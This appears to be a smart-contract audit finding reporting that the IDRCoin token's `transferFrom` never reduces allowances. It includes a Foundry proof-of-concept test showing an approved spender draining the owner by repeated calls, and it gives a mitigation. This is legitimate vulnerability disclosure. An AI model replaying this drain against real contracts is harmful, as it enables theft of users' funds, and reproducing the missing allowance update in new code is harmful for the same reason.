# [H-1] IDRCoin approve function can be used to call transferFrom multiple times ## Finding description and impact IDRCoin enables a user to let someone to use a certain amount of their token through `approve` function. It will set the `allowances[msg.sender][_spender] = _amount;` which `_spender` is the other user, and `_amount` is the limit amount of token the other user can use. Once `approve` is called, the other user can use the amount of token through `transferFrom` function. Other user can call `transferFrom` to send the `approved` amount of token from the prior user to anyone. But the problem is, once `approve` is called, the other user can call `transferFrom` multiple times and draining the prior user wallet. ## Proof of Concept The code [https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158](https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158) `transferFrom` function doesn't update the `allowances`. Once `approve` function is called, the trusted spender can drain money through calling `transferFrom` multiple times. ```solidity function test_failIf_transferFromIDRCoinMoreThanOnce() public { // create charlie address as the receiver address charlie = makeAddr("charlie"); // alice convert 100 dollar worth of usdt convertUSDTtoIDR(alice, 100e6); vm.startPrank(alice); uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4; // alice approve bob to transfer her IDRCoin idrCoin.approve(bob, spendingAllowance); vm.stopPrank(); // bob transfer the IDRCoin from alice to charlie vm.startPrank(bob); idrCoin.transferFrom(alice, charlie, spendingAllowance); vm.stopPrank(); // assert that now alice has his balance reduced to the amount of spendingAllowance assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3); // assert that bob still has 0 because bob called `transferFrom` but doesn't send to himself assertEq(idrCoin.balanceOf(bob), 0); // assert that charlie as the receiver received the amount of spendingAllowance assertEq(idrCoin.balanceOf(charlie), spendingAllowance); // bob try to transfer the IDRCoin again from alice to charlie vm.startPrank(bob); idrCoin.transferFrom(alice, charlie, spendingAllowance); vm.stopPrank(); // assert now alice has its balance reduced twice by spendingAllowance assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2); assertEq(idrCoin.balanceOf(bob), 0); // assert now charlie has its balance increased twice by spendingAllowance assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2); } ``` ## Recommended mitigation steps Mutate the `allowance` storage variable after the ERC20 transfer succeded in `transferFrom`
